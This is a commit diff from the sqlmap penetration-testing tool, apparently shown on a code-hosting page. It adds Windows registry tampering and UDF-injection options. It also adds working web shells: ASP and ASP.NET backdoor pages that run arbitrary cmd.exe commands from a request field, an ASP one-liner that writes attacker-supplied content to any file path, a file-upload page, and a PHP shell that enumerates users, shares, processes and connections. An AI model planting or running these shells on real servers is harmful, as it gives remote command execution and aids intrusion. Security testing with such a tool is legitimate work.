|
||||||
|
infoMsg += "This will work only if the user running the database "
|
||||||
|
infoMsg += "process has privileges to modify the Windows registry."
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
self.addRegKey(regKey, regVal, regType, regData)
|
||||||
|
|
||||||
|
def regDel(self):
|
||||||
|
self.__regInit()
|
||||||
|
|
||||||
|
errMsg = "missing mandatory option"
|
||||||
|
|
||||||
|
if not conf.regKey:
|
||||||
|
msg = "which registry key do you want to delete? "
|
||||||
|
regKey = readInput(msg)
|
||||||
|
|
||||||
|
if not regKey:
|
||||||
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
else:
|
||||||
|
regKey = conf.regKey
|
||||||
|
|
||||||
|
if not conf.regVal:
|
||||||
|
msg = "which registry key value do you want to delete? "
|
||||||
|
regVal = readInput(msg)
|
||||||
|
|
||||||
|
if not regVal:
|
||||||
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
else:
|
||||||
|
regVal = conf.regVal
|
||||||
|
|
||||||
|
message = "are you sure that you want to delete the Windows "
|
||||||
|
message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
|
||||||
|
output = readInput(message, default="N")
|
||||||
|
|
||||||
|
if output and output[0] not in ( "Y", "y" ):
|
||||||
|
return
|
||||||
|
|
||||||
|
infoMsg = "deleting Windows registry path '%s\%s'" % (regKey, regVal)
|
||||||
|
infoMsg += "This will work only if the user running the database "
|
||||||
|
infoMsg += "process has privileges to modify the Windows registry."
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
self.delRegKey(regKey, regVal)
|
||||||
|
|||||||
44
shell/backdoor.asp
Normal file
44
shell/backdoor.asp
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
<!--
|
||||||
|
|
||||||
|
ASP_KIT
|
||||||
|
|
||||||
|
cmd.asp = Command Execution
|
||||||
|
|
||||||
|
by: Maceo
|
||||||
|
modified: 25/06/2003
|
||||||
|
|
||||||
|
-->
|
||||||
|
|
||||||
|
<%
|
||||||
|
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
|
||||||
|
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
|
||||||
|
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
|
||||||
|
|
||||||
|
szCMD = request("cmd")
|
||||||
|
|
||||||
|
If (szCMD <> "") Then
|
||||||
|
szTempFile = "C:\" & oFileSys.GetTempName()
|
||||||
|
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
|
||||||
|
Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
|
||||||
|
End If
|
||||||
|
%>
|
||||||
|
|
||||||
|
<HTML>
|
||||||
|
<BODY>
|
||||||
|
<FORM action="" method="GET">
|
||||||
|
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
|
||||||
|
<input type="submit" value="Run">
|
||||||
|
</FORM>
|
||||||
|
<PRE>
|
||||||
|
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
|
||||||
|
<br>
|
||||||
|
<%
|
||||||
|
If (IsObject(oFile)) Then
|
||||||
|
On Error Resume Next
|
||||||
|
Response.Write Server.HTMLEncode(oFile.ReadAll)
|
||||||
|
oFile.Close
|
||||||
|
Call oFileSys.DeleteFile(szTempFile, True)
|
||||||
|
End If
|
||||||
|
%>
|
||||||
|
</BODY>
|
||||||
|
</HTML>
|
||||||
42
shell/backdoor.aspx
Normal file
42
shell/backdoor.aspx
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
<%@ Page Language="C#" Debug="true" Trace="false" %>
|
||||||
|
<%@ Import Namespace="System.Diagnostics" %>
|
||||||
|
<%@ Import Namespace="System.IO" %>
|
||||||
|
<script Language="c#" runat="server">
|
||||||
|
void Page_Load(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
string ExcuteCmd(string arg)
|
||||||
|
{
|
||||||
|
ProcessStartInfo psi = new ProcessStartInfo();
|
||||||
|
psi.FileName = "cmd.exe";
|
||||||
|
psi.Arguments = "/c "+arg;
|
||||||
|
psi.RedirectStandardOutput = true;
|
||||||
|
psi.UseShellExecute = false;
|
||||||
|
Process p = Process.Start(psi);
|
||||||
|
StreamReader stmrdr = p.StandardOutput;
|
||||||
|
string s = stmrdr.ReadToEnd();
|
||||||
|
stmrdr.Close();
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
void cmdExe_Click(object sender, System.EventArgs e)
|
||||||
|
{
|
||||||
|
Response.Write("<pre>");
|
||||||
|
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
|
||||||
|
Response.Write("</pre>");
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<HTML>
|
||||||
|
<HEAD>
|
||||||
|
<title>awen asp.net webshell</title>
|
||||||
|
</HEAD>
|
||||||
|
<body >
|
||||||
|
<form id="cmd" method="post" runat="server">
|
||||||
|
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
|
||||||
|
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
|
||||||
|
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</HTML>
|
||||||
|
|
||||||
|
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
|
||||||
|
<!-- http://michaeldaw.org 04/2007 -->
|
||||||
@@ -98,7 +98,7 @@ if (isset($_REQUEST["sysinfo"])) {
|
|||||||
echo "<b>Operating system</b><br><pre>" . @PHP_OS;
|
echo "<b>Operating system</b><br><pre>" . @PHP_OS;
|
||||||
echo "</pre><b>Server uname</b><br><pre>" . php_uname();
|
echo "</pre><b>Server uname</b><br><pre>" . php_uname();
|
||||||
echo "</pre><b>Server uptime</b><br><pre>";
|
echo "</pre><b>Server uptime</b><br><pre>";
|
||||||
echo ex("uptime");
|
echo (!$win) ? ex("uptime") : ex("net statistics server");
|
||||||
echo "</pre><b>Server time</b><br><pre>";
|
echo "</pre><b>Server time</b><br><pre>";
|
||||||
echo date("D, M d, h:iA");
|
echo date("D, M d, h:iA");
|
||||||
echo "</pre><b>Disk space</b><br><pre>";
|
echo "</pre><b>Disk space</b><br><pre>";
|
||||||
@@ -118,12 +118,13 @@ if (isset($_REQUEST["sysinfo"])) {
|
|||||||
echo "</pre><b>Memory information</b><br><pre>";
|
echo "</pre><b>Memory information</b><br><pre>";
|
||||||
echo ex("cat /proc/meminfo");
|
echo ex("cat /proc/meminfo");
|
||||||
echo "</pre><b>Open ports and active connections</b><br><pre>";
|
echo "</pre><b>Open ports and active connections</b><br><pre>";
|
||||||
echo ex("netstat -nat");
|
echo (!$win) ? ex("netstat -nat") : ex("netstat -ano");
|
||||||
echo "</pre><b>Network devices</b><br><pre>";
|
echo "</pre><b>Network devices</b><br><pre>";
|
||||||
echo ex("/sbin/ifconfig -a");
|
echo (!$win) ? ex("/sbin/ifconfig -a") : ex("ipconfig /all");
|
||||||
echo "</pre><b>Processes</b><br><pre>";
|
echo "</pre><b>Processes</b><br><pre>";
|
||||||
echo ex("ps auxfww");
|
echo (!$win) ? ex("ps auxfww") : ex("tasklist");
|
||||||
echo "</pre>";
|
echo "</pre>";
|
||||||
|
echo ($win) ? "<b>Network use</b><br><pre>".ex("net use")."</pre><b>Network share</b><br><pre>".ex("net share")."</pre><b>Network user</b><br><pre>".ex("net user")."</pre>" : "";
|
||||||
}
|
}
|
||||||
|
|
||||||
else if(isset($_REQUEST["phpinfo"])) {
|
else if(isset($_REQUEST["phpinfo"])) {
|
||||||
|
|||||||
@@ -1 +1,2 @@
|
|||||||
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>
|
<p><b>sqlmap backdoor uploader</b></p>
|
||||||
|
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>
|
||||||
|
|||||||
23
shell/uploader.aspx
Normal file
23
shell/uploader.aspx
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
<%@ Page Language="vb" AutoEventWireup="false" Codebehind="uploader.aspx.vb" Inherits="VBNetUpload.WebForm1"%>
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||||
|
<HTML>
|
||||||
|
<HEAD>
|
||||||
|
<title>WebForm1</title>
|
||||||
|
<meta name="GENERATOR" content="Microsoft Visual Studio.NET 7.0">
|
||||||
|
<meta name="CODE_LANGUAGE" content="Visual Basic 7.0">
|
||||||
|
<meta name=vs_defaultClientScript content="JavaScript">
|
||||||
|
<meta name=vs_targetSchema content="http://schemas.microsoft.com/intellisense/ie5">
|
||||||
|
</HEAD>
|
||||||
|
<body MS_POSITIONING="GridLayout">
|
||||||
|
|
||||||
|
<form id="Form1" enctype="multipart/form-data" method="post" runat="server">
|
||||||
|
|
||||||
|
<INPUT type=file id=File1 name=File1 runat="server" >
|
||||||
|
<br>
|
||||||
|
<input type="submit" id="Submit1" value="Upload" runat="server" NAME="Submit1">
|
||||||
|
|
||||||
|
|
||||||
|
</form>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</HTML>
|
||||||
41
shell/uploader.aspx.vb
Normal file
41
shell/uploader.aspx.vb
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
Public Class WebForm1
|
||||||
|
Inherits System.Web.UI.Page
|
||||||
|
Protected WithEvents File1 As System.Web.UI.HtmlControls.HtmlInputFile
|
||||||
|
Protected WithEvents Submit1 As System.Web.UI.HtmlControls.HtmlInputButton
|
||||||
|
|
||||||
|
#Region " Web Form Designer Generated Code "
|
||||||
|
|
||||||
|
'This call is required by the Web Form Designer.
|
||||||
|
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
|
||||||
|
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
|
||||||
|
'CODEGEN: This method call is required by the Web Form Designer
|
||||||
|
'Do not modify it using the code editor.
|
||||||
|
InitializeComponent()
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
#End Region
|
||||||
|
|
||||||
|
Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||||
|
'Put user code to initialize the page here
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Private Sub Submit1_ServerClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Submit1.ServerClick
|
||||||
|
|
||||||
|
If Not File1.PostedFile Is Nothing And File1.PostedFile.ContentLength > 0 Then
|
||||||
|
Dim fn As String = System.IO.Path.GetFileName(File1.PostedFile.FileName)
|
||||||
|
Dim SaveLocation as String = Server.MapPath("Data") & "\" & fn
|
||||||
|
Try
|
||||||
|
File1.PostedFile.SaveAs(SaveLocation)
|
||||||
|
Response.Write("The file has been uploaded.")
|
||||||
|
Catch Exc As Exception
|
||||||
|
Response.Write("Error: " & Exc.Message)
|
||||||
|
End Try
|
||||||
|
Else
|
||||||
|
Response.Write("Please select a file to upload.")
|
||||||
|
End If
|
||||||
|
|
||||||
|
End Sub
|
||||||
|
End Class
|
||||||
114
sqlmap.conf
114
sqlmap.conf
@@ -32,9 +32,9 @@ data =
|
|||||||
# HTTP Cookie header.
|
# HTTP Cookie header.
|
||||||
cookie =
|
cookie =
|
||||||
|
|
||||||
# HTTP Referer header. Useful to fake the HTTP Referer header value at
|
# Ignore Set-Cookie header from response
|
||||||
# each HTTP request.
|
# Valid: True or False
|
||||||
referer =
|
dropSetCookie = False
|
||||||
|
|
||||||
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
|
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
|
||||||
# at each HTTP request
|
# at each HTTP request
|
||||||
@@ -45,6 +45,10 @@ agent =
|
|||||||
# Example: ./txt/user-agents.txt
|
# Example: ./txt/user-agents.txt
|
||||||
userAgentsFile =
|
userAgentsFile =
|
||||||
|
|
||||||
|
# HTTP Referer header. Useful to fake the HTTP Referer header value at
|
||||||
|
# each HTTP request.
|
||||||
|
referer =
|
||||||
|
|
||||||
# Extra HTTP headers
|
# Extra HTTP headers
|
||||||
# Note: There must be a space at the beginning of each header line.
|
# Note: There must be a space at the beginning of each header line.
|
||||||
headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||||
@@ -52,17 +56,17 @@ headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9
|
|||||||
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
||||||
|
|
||||||
# HTTP Authentication type. Useful only if the target url requires
|
# HTTP Authentication type. Useful only if the target url requires
|
||||||
# HTTP Basic or Digest authentication and you have such data.
|
# HTTP Basic, Digest or NTLM authentication and you have such data.
|
||||||
# Valid: Basic or Digest
|
# Valid: Basic, Digest or NTLM
|
||||||
aType =
|
aType =
|
||||||
|
|
||||||
# HTTP Authentication credentials. Useful only if the target url requires
|
# HTTP Authentication credentials. Useful only if the target url requires
|
||||||
# HTTP Basic or Digest authentication and you have such data.
|
# HTTP Basic, Digest or NTLM authentication and you have such data.
|
||||||
# Syntax: username:password
|
# Syntax: username:password
|
||||||
aCred =
|
aCred =
|
||||||
|
|
||||||
# Use a HTTP proxy to connect to the target url.
|
# Use a HTTP proxy to connect to the target url.
|
||||||
# Syntax: http://url:port
|
# Syntax: http://address:port
|
||||||
proxy =
|
proxy =
|
||||||
|
|
||||||
# Maximum number of concurrent HTTP requests (handled with Python threads)
|
# Maximum number of concurrent HTTP requests (handled with Python threads)
|
||||||
@@ -250,18 +254,31 @@ user =
|
|||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
excludeSysDbs = False
|
excludeSysDbs = False
|
||||||
|
|
||||||
# First table entry to dump (cursor start)
|
# First query output entry to retrieve
|
||||||
# Valid: integer
|
# Valid: integer
|
||||||
# Default: 0 (sqlmap will start to dump the table entries from the first)
|
# Default: 0 (sqlmap will start to retrieve the query output entries from
|
||||||
|
# the first)
|
||||||
limitStart = 0
|
limitStart = 0
|
||||||
|
|
||||||
# Last table entry to dump (cursor stop)
|
# Last query output entry to retrieve
|
||||||
# Valid: integer
|
# Valid: integer
|
||||||
# Default: 0 (sqlmap will detect the number of table entries and dump
|
# Default: 0 (sqlmap will detect the number of query output entries and
|
||||||
# until the last)
|
# retrieve them until the last)
|
||||||
limitStop = 0
|
limitStop = 0
|
||||||
|
|
||||||
# SQL SELECT query to be executed.
|
# First query output word character to retrieve
|
||||||
|
# Valid: integer
|
||||||
|
# Default: 0 (sqlmap will enumerate the query output from the first
|
||||||
|
# character)
|
||||||
|
firstChar = 0
|
||||||
|
|
||||||
|
# Last query output word character to retrieve
|
||||||
|
# Valid: integer
|
||||||
|
# Default: 0 (sqlmap will enumerate the query output until the last
|
||||||
|
# character)
|
||||||
|
lastChar = 0
|
||||||
|
|
||||||
|
# SQL statement to be executed.
|
||||||
# Example: SELECT 'foo', 'bar'
|
# Example: SELECT 'foo', 'bar'
|
||||||
query =
|
query =
|
||||||
|
|
||||||
@@ -270,6 +287,16 @@ query =
|
|||||||
sqlShell = False
|
sqlShell = False
|
||||||
|
|
||||||
|
|
||||||
|
[User-defined function]
|
||||||
|
|
||||||
|
# Inject custom user-defined functions
|
||||||
|
# Valid: True or False
|
||||||
|
udfInject = False
|
||||||
|
|
||||||
|
# Local path of the shared library
|
||||||
|
shLib =
|
||||||
|
|
||||||
|
|
||||||
[File system]
|
[File system]
|
||||||
|
|
||||||
# Read a specific file from the back-end DBMS underlying file system.
|
# Read a specific file from the back-end DBMS underlying file system.
|
||||||
@@ -323,13 +350,57 @@ msfPath =
|
|||||||
tmpPath =
|
tmpPath =
|
||||||
|
|
||||||
|
|
||||||
|
[Windows]
|
||||||
|
|
||||||
|
# Read a Windows registry key value
|
||||||
|
regRead = False
|
||||||
|
|
||||||
|
# Write a Windows registry key value data
|
||||||
|
regAdd = False
|
||||||
|
|
||||||
|
# Delete a Windows registry key value
|
||||||
|
regDel = False
|
||||||
|
|
||||||
|
# Windows registry key
|
||||||
|
regKey =
|
||||||
|
|
||||||
|
# Windows registry key value
|
||||||
|
regVal =
|
||||||
|
|
||||||
|
# Windows registry key value data
|
||||||
|
regData =
|
||||||
|
|
||||||
|
# Windows registry key value type
|
||||||
|
regType =
|
||||||
|
|
||||||
|
|
||||||
[Miscellaneous]
|
[Miscellaneous]
|
||||||
|
|
||||||
|
# Save and resume all data retrieved on a session file.
|
||||||
|
sessionFile =
|
||||||
|
|
||||||
# Retrieve each query output length and calculate the estimated time of
|
# Retrieve each query output length and calculate the estimated time of
|
||||||
# arrival in real time.
|
# arrival in real time.
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
eta = False
|
eta = False
|
||||||
|
|
||||||
|
# Use google dork results from specified page number
|
||||||
|
# Valid: integer
|
||||||
|
# Default: 1
|
||||||
|
googlePage = 1
|
||||||
|
|
||||||
|
# Update sqlmap to the latest stable version.
|
||||||
|
# Valid: True or False
|
||||||
|
updateAll = False
|
||||||
|
|
||||||
|
# Never ask for user input, use the default behaviour.
|
||||||
|
# Valid: True or False
|
||||||
|
batch = False
|
||||||
|
|
||||||
|
# Clean up the DBMS by sqlmap specific UDF and tables
|
||||||
|
# Valid: True or False
|
||||||
|
cleanup = False
|
||||||
|
|
||||||
# Verbosity level.
|
# Verbosity level.
|
||||||
# Valid: integer between 0 and 5
|
# Valid: integer between 0 and 5
|
||||||
# 0: Show only warning and error messages
|
# 0: Show only warning and error messages
|
||||||
@@ -339,19 +410,4 @@ eta = False
|
|||||||
# 4: Show also HTTP responses headers
|
# 4: Show also HTTP responses headers
|
||||||
# 5: Show also HTTP responses page content
|
# 5: Show also HTTP responses page content
|
||||||
# Default: 1
|
# Default: 1
|
||||||
verbose = 1
|
verbose = 1
|
||||||
|
|
||||||
# Update sqlmap to the latest stable version.
|
|
||||||
# Valid: True or False
|
|
||||||
updateAll = False
|
|
||||||
|
|
||||||
# Save and resume all data retrieved on a session file.
|
|
||||||
sessionFile =
|
|
||||||
|
|
||||||
# Never ask for user input, use the default behaviour.
|
|
||||||
# Valid: True or False
|
|
||||||
batch = False
|
|
||||||
|
|
||||||
# Clean up the DBMS by sqlmap specific UDF and tables
|
|
||||||
# Valid: True or False
|
|
||||||
cleanup = False
|
|
||||||
@@ -22,12 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
import traceback
|
import traceback
|
||||||
|
import warnings
|
||||||
|
|
||||||
|
warnings.filterwarnings(action = "ignore", message = ".*(md5|sha) module is deprecated", category = DeprecationWarning)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import psyco
|
import psyco
|
||||||
@@ -48,7 +49,6 @@ from lib.core.exception import unhandledException
|
|||||||
from lib.core.option import init
|
from lib.core.option import init
|
||||||
from lib.parse.cmdline import cmdLineParser
|
from lib.parse.cmdline import cmdLineParser
|
||||||
|
|
||||||
|
|
||||||
def modulePath():
|
def modulePath():
|
||||||
"""
|
"""
|
||||||
This will get us the program's directory, even if we are frozen
|
This will get us the program's directory, even if we are frozen
|
||||||
@@ -60,7 +60,6 @@ def modulePath():
|
|||||||
else:
|
else:
|
||||||
return os.path.dirname(os.path.realpath(__file__))
|
return os.path.dirname(os.path.realpath(__file__))
|
||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
"""
|
"""
|
||||||
Main function of sqlmap when running from command line.
|
Main function of sqlmap when running from command line.
|
||||||
@@ -100,6 +99,5 @@ def main():
|
|||||||
|
|
||||||
print "\n[*] shutting down at: %s\n" % time.strftime("%X")
|
print "\n[*] shutting down at: %s\n" % time.strftime("%X")
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
main()
|
main()
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user